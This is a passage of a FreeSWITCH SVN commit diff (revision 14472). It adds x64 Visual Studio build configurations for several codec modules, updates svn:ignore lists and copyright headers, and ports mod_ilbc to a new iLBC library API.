 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release Passthrough|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\codec\libg729\src\include&quot;"
+				PreprocessorDefinitions="G729_PASSTHROUGH"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\release/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/codecs/mod_g729/mod_g729.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_g729/mod_g729.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/codecs/mod_g729/mod_g729.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  *
  * The g729 codec itself is not distributed with this module.

Property changes: freeswitch/branches/seven/src/mod/codecs/mod_h26x


Name: svn:ignore
   - mod_h26x.so
.libs
Debug
Release
Releasemod_h26x.pdb
*.pdb
*.user
debug
   + mod_h26x.so
.libs
Debug
Release
Releasemod_h26x.pdb
*.pdb
*.user
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/codecs/mod_h26x/mod_h26x.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_h26x/mod_h26x.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/codecs/mod_h26x/mod_h26x.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -80,6 +83,72 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\libresample\include&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories="&quot;$(InputDir)..\..\..\..\libs\libresample\win&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -142,6 +211,72 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\libresample\include&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories="&quot;$(InputDir)..\..\..\..\libs\libresample\win&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/codecs/mod_h26x/mod_h26x.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_h26x/mod_h26x.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/codecs/mod_h26x/mod_h26x.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_h26x.c -- H26X Signed Linear Codec

Property changes: freeswitch/branches/seven/src/mod/codecs/mod_ilbc


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/codecs/mod_ilbc/Makefile (14471 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_ilbc/Makefile	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/codecs/mod_ilbc/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,8 +1,9 @@
 BASE=../../../..
-ILBC_DIR=$(BASE)/libs/codec/ilbc
-ILBCLA=$(ILBC_DIR)/libilbc.la
+ILBC_DIR=$(BASE)/libs/ilbc
+ILBCLA=$(ILBC_DIR)/src/libilbc.la
 LOCAL_CFLAGS=-I$(ILBC_DIR)/src
 LOCAL_LIBADD=$(ILBCLA)
+
 include $(BASE)/build/modmake.rules
 
 $(ILBCLA): $(ILBC_DIR) $(ILBC_DIR)/.update

Modified: freeswitch/branches/seven/src/mod/codecs/mod_ilbc/mod_ilbc.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_ilbc/mod_ilbc.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/codecs/mod_ilbc/mod_ilbc.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -39,7 +42,7 @@
 			/>
 			<Tool
 				Name="VCCLCompilerTool"
-				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\codec\ilbc\src&quot;"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\ilbc\src\ilbc&quot;"
 				UsePrecompiledHeader="0"
 			/>
 			<Tool
@@ -80,6 +83,72 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\ilbc\src\ilbc&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories="&quot;..\..\..\..\libs\codec\ilbc\$(OutDir)&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -102,7 +171,7 @@
 			/>
 			<Tool
 				Name="VCCLCompilerTool"
-				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\codec\ilbc\src&quot;"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\ilbc\src\ilbc&quot;"
 				UsePrecompiledHeader="0"
 			/>
 			<Tool
@@ -142,6 +211,72 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\ilbc\src\ilbc&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories="&quot;..\..\..\..\libs\codec\ilbc\$(OutDir)&quot;"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/codecs/mod_ilbc/mod_ilbc.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_ilbc/mod_ilbc.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/codecs/mod_ilbc/mod_ilbc.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,72 +17,70 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
- * Michael Jerris <mike@jerris.com>
+ * Brian K. West <brian@freeswitch.org>
  *
  * mod_ilbc.c -- ilbc Codec Module
  *
  */
 
 #include "switch.h"
-#include "iLBC_encode.h"
-#include "iLBC_decode.h"
-#include "iLBC_define.h"
+#include "ilbc.h"
 
 SWITCH_MODULE_LOAD_FUNCTION(mod_ilbc_load);
 SWITCH_MODULE_DEFINITION(mod_ilbc, mod_ilbc_load, NULL, NULL);
 
 struct ilbc_context {
-	iLBC_Enc_Inst_t encoder;
-	iLBC_Dec_Inst_t decoder;
-	uint8_t ms;
-	uint16_t bytes;
-	uint16_t dbytes;
+	ilbc_encode_state_t encoder_object;
+	ilbc_decode_state_t decoder_object;
 };
 
 static switch_status_t switch_ilbc_init(switch_codec_t *codec, switch_codec_flag_t flags, const switch_codec_settings_t *codec_settings)
 {
 	struct ilbc_context *context;
-	int encoding, decoding;
-	uint8_t ms = (uint8_t) (codec->implementation->microseconds_per_packet / 1000);
-
-	if (ms != 20 && ms != 30) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "invalid speed! (I should never happen)\n");
+	int encoding = (flags & SWITCH_CODEC_FLAG_ENCODE);
+	int decoding = (flags & SWITCH_CODEC_FLAG_DECODE);
+	int mode = codec->implementation->microseconds_per_packet / 1000;
+	
+	if (!(encoding || decoding) || (!(context = switch_core_alloc(codec->memory_pool, sizeof(*context))))) {
 		return SWITCH_STATUS_FALSE;
-	}
+	} 
 
-	encoding = (flags & SWITCH_CODEC_FLAG_ENCODE);
-	decoding = (flags & SWITCH_CODEC_FLAG_DECODE);
-
-	if (!(encoding || decoding)) {
-		return SWITCH_STATUS_FALSE;
-	} else {
-		context = switch_core_alloc(codec->memory_pool, sizeof(*context));
-		context->ms = ms;
-		if (context->ms == 20) {
-			context->bytes = NO_OF_BYTES_20MS;
-			context->dbytes = 320;
-		} else {
-			context->bytes = NO_OF_BYTES_30MS;
-			context->dbytes = 480;
+	if (codec->fmtp_in) {
+		int x, argc;
+		char *argv[10];
+		argc = switch_separate_string(codec->fmtp_in, ';', argv, (sizeof(argv) / sizeof(argv[0])));
+		for (x = 0; x < argc; x++) {
+			char *data = argv[x];
+			char *arg;
+			switch_assert(data);
+			while (*data == ' ') {
+				data++;
+			}
+			if ((arg = strchr(data, '='))) {
+				*arg++ = '\0';
+				if (!strcasecmp(data, "mode")) {
+					mode = atoi(arg);
+				}
+			}
 		}
-
-		if (encoding) {
-			initEncode(&context->encoder, context->ms);
-		}
-		if (decoding) {
-			initDecode(&context->decoder, context->ms, 1);
-		}
 	}
+	
+	codec->fmtp_out = switch_core_sprintf(codec->memory_pool, "mode=%d", mode);
+	
+	if (encoding) {
+		ilbc_encode_init(&context->encoder_object, mode);
+	}
 
-	codec->fmtp_out = switch_core_strdup(codec->memory_pool, codec->implementation->fmtp);
-
+	if (decoding) {
+		ilbc_decode_init(&context->decoder_object, mode, 0);
+	}
+	
 	codec->private_info = context;
 	return SWITCH_STATUS_SUCCESS;
 }
@@ -105,31 +103,9 @@
 	if (!context) {
 		return SWITCH_STATUS_FALSE;
 	}
-	if (decoded_data_len % context->dbytes == 0) {
-		unsigned int new_len = 0;
-		unsigned char *edp = encoded_data;
-		short *ddp = decoded_data;
-		int x;
-		uint16_t y;
-		int loops = (int) decoded_data_len / context->dbytes;
-		float buf[240];
 
-		for (x = 0; x < loops && new_len < *encoded_data_len; x++) {
-			for (y = 0; y < context->dbytes / sizeof(short) && y < 240; y++) {
-				buf[y] = ddp[y];
-			}
-			iLBC_encode(edp, buf, &context->encoder);
-			edp += context->bytes;
-			ddp += context->dbytes;
-			new_len += context->bytes;
-		}
-		if (new_len <= *encoded_data_len) {
-			*encoded_data_len = new_len;
-		} else {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "buffer overflow!!! %u >= %u\n", new_len, *encoded_data_len);
-			return SWITCH_STATUS_FALSE;
-		}
-	}
+	*encoded_data_len = ilbc_encode(&context->encoder_object, (uint8_t *) encoded_data, (int16_t *) decoded_data, decoded_data_len / 2);
+
 	return SWITCH_STATUS_SUCCESS;
 }
 
@@ -146,34 +122,8 @@
 		return SWITCH_STATUS_FALSE;
 	}
 
-	if (encoded_data_len % context->bytes == 0) {
-		int loops = (int) encoded_data_len / context->bytes;
-		unsigned char *edp = encoded_data;
-		short *ddp = decoded_data;
-		int x;
-		uint16_t y;
-		unsigned int new_len = 0;
-		float buf[240];
+	*decoded_data_len = (2 *ilbc_decode(&context->decoder_object, (int16_t *) decoded_data, (uint8_t *) encoded_data, encoded_data_len));
 
-		for (x = 0; x < loops && new_len < *decoded_data_len; x++) {
-			iLBC_decode(buf, edp, &context->decoder, 1);
-			for (y = 0; y < context->dbytes / sizeof(short) && y < 240; y++) {
-				ddp[y] = (short) buf[y];
-			}
-			ddp += context->dbytes / sizeof(short);
-			edp += context->bytes;
-			new_len += context->dbytes;
-		}
-		if (new_len <= *decoded_data_len) {
-			*decoded_data_len = new_len;
-		} else {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "buffer overflow!!!\n");
-			return SWITCH_STATUS_FALSE;
-		}
-	} else {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "yo this frame is an odd size [%d]\n", encoded_data_len);
-		return SWITCH_STATUS_FALSE;
-	}
 	return SWITCH_STATUS_SUCCESS;
 }
 
@@ -187,32 +137,46 @@
 
 	SWITCH_ADD_CODEC(codec_interface, "iLBC");
 
-	switch_core_codec_add_implementation(pool, codec_interface,
-										 SWITCH_CODEC_TYPE_AUDIO, 97, "iLBC", "mode=20", 8000, 8000, NO_OF_BYTES_20MS * 8 * 8000 / BLOCKL_20MS,
-										 20000, 160, 320, NO_OF_BYTES_20MS, 1, 1,
-										 switch_ilbc_init, switch_ilbc_encode, switch_ilbc_decode, switch_ilbc_destroy);
-	switch_core_codec_add_implementation(pool, codec_interface,
-										 SWITCH_CODEC_TYPE_AUDIO, 102, "iLBC", "mode=20", 8000, 8000, NO_OF_BYTES_20MS * 8 * 8000 / BLOCKL_20MS,
-										 20000, 160, 320, NO_OF_BYTES_20MS, 1, 1,
-										 switch_ilbc_init, switch_ilbc_encode, switch_ilbc_decode, switch_ilbc_destroy);
-	switch_core_codec_add_implementation(pool, codec_interface,
-										 SWITCH_CODEC_TYPE_AUDIO, 102, "iLBC102", "mode=20", 8000, 8000, NO_OF_BYTES_20MS * 8 * 8000 / BLOCKL_20MS,
-										 20000, 160, 320, NO_OF_BYTES_20MS, 1, 1,
-										 switch_ilbc_init, switch_ilbc_encode, switch_ilbc_decode, switch_ilbc_destroy);
-	switch_core_codec_add_implementation(pool, codec_interface,
-										 SWITCH_CODEC_TYPE_AUDIO, 102, "iLBC20ms", "mode=20", 8000, 8000, NO_OF_BYTES_20MS * 8 * 8000 / BLOCKL_20MS,
-										 20000, 160, 320, NO_OF_BYTES_20MS, 1, 1,
-										 switch_ilbc_init, switch_ilbc_encode, switch_ilbc_decode, switch_ilbc_destroy);
-	/* 30ms variants */
-	switch_core_codec_add_implementation(pool, codec_interface,
-										 SWITCH_CODEC_TYPE_AUDIO, 98, "iLBC", "mode=30", 8000, 8000, NO_OF_BYTES_30MS * 8 * 8000 / BLOCKL_30MS,
-										 30000, 240, 480, NO_OF_BYTES_30MS, 1, 1,
-										 switch_ilbc_init, switch_ilbc_encode, switch_ilbc_decode, switch_ilbc_destroy);
-	switch_core_codec_add_implementation(pool, codec_interface,
-										 SWITCH_CODEC_TYPE_AUDIO, 102, "iLBC", "mode=30", 8000, 8000, NO_OF_BYTES_30MS * 8 * 8000 / BLOCKL_30MS,
-										 30000, 240, 480, NO_OF_BYTES_30MS, 1, 1,
-										 switch_ilbc_init, switch_ilbc_encode, switch_ilbc_decode, switch_ilbc_destroy);
+	switch_core_codec_add_implementation(pool,
+										 codec_interface,
+										 SWITCH_CODEC_TYPE_AUDIO,	/* enumeration defining the type of the codec */
+										 98,						/* the IANA code number */
+										 "iLBC",					/* the IANA code name */
+										 "mode=20",					/* default fmtp to send (can be overridden by the init function) */
+										 8000,						/* samples transferred per second */
+										 8000,						/* actual samples transferred per second */
+										 15200,						/* bits transferred per second */
+										 20000,						/* number of microseconds per frame */
+										 ILBC_BLOCK_LEN_20MS,		/* number of samples per frame */
+										 ILBC_BLOCK_LEN_20MS * 2,	/* number of bytes per frame decompressed */
+										 ILBC_NO_OF_BYTES_20MS,		/* number of bytes per frame compressed */
+										 1,							/* number of channels represented */
+										 1,							/* number of frames per network packet */
+										 switch_ilbc_init,			/* function to initialize a codec handle using this implementation */
+										 switch_ilbc_encode,		/* function to encode raw data into encoded data */
+										 switch_ilbc_decode,		/* function to decode encoded data into raw data */
+										 switch_ilbc_destroy);		/* deinitalize a codec handle using this implementation */
 
+	switch_core_codec_add_implementation(pool,
+										 codec_interface,
+										 SWITCH_CODEC_TYPE_AUDIO,	/* enumeration defining the type of the codec */
+										 97,						/* the IANA code number */
+										 "iLBC",					/* the IANA code name */
+										 "mode=30",					/* default fmtp to send (can be overridden by the init function) */
+										 8000,						/* samples transferred per second */
+										 8000,						/* actual samples transferred per second */
+										 13300,						/* bits transferred per second */
+										 30000,						/* number of microseconds per frame */
+										 ILBC_BLOCK_LEN_30MS,		/* number of samples per frame */
+										 ILBC_BLOCK_LEN_30MS * 2,	/* number of bytes per frame decompressed */
+										 ILBC_NO_OF_BYTES_30MS,		/* number of bytes per frame compressed */
+										 1,							/* number of channels represented */
+										 1,							/* number of frames per network packet */
+										 switch_ilbc_init,			/* function to initialize a codec handle using this implementation */
+										 switch_ilbc_encode,		/* function to encode raw data into encoded data */
+										 switch_ilbc_decode,		/* function to decode encoded data into raw data */
+										 switch_ilbc_destroy);		/* deinitalize a codec handle using this implementation */
+
 	/* indicate that the module should continue to be loaded */
 	return SWITCH_STATUS_SUCCESS;
 }

Modified: freeswitch/branches/seven/src/mod/codecs/mod_ilbc/mod_ilbc.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_ilbc/mod_ilbc.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/codecs/mod_ilbc/mod_ilbc.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,14 +22,62 @@
 			CharacterSet="2"
 			>
 			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
 				Name="VCCLCompilerTool"
-				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\codec\ilbc\src&quot;"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\ilbc\src\ilbc&quot;"
 				UsePrecompiledHeader="0"
 			/>
 			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
 				Name="VCLinkerTool"
 				AdditionalLibraryDirectories="&quot;..\..\..\..\libs\codec\ilbc\$(OutDir)&quot;"
 			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
 		</Configuration>
 		<Configuration
 			Name="Release|Win32"
@@ -38,14 +86,62 @@
 			CharacterSet="2"
 			>
 			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
 				Name="VCCLCompilerTool"
-				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\codec\ilbc\src&quot;"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\ilbc\src\ilbc&quot;"
 				UsePrecompiledHeader="0"
 			/>
 			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
 				Name="VCLinkerTool"
 				AdditionalLibraryDirectories="&quot;..\..\..\..\libs\codec\ilbc\$(OutDir)&quot;"
 			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
 		</Configuration>
 	</Configurations>
 	<References>

Property changes: freeswitch/branches/seven/src/mod/codecs/mod_siren


Name: svn:ignore
   - Debug
*.pdb
*.user
Release
   + Debug
*.pdb
*.user
Release
Win32
x64
mod_siren.so
.libs

Modified: freeswitch/branches/seven/src/mod/codecs/mod_siren/mod_siren.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_siren/mod_siren.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/codecs/mod_siren/mod_siren.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -79,6 +82,71 @@
 			/>
 		</Configuration>
 		<Configuration
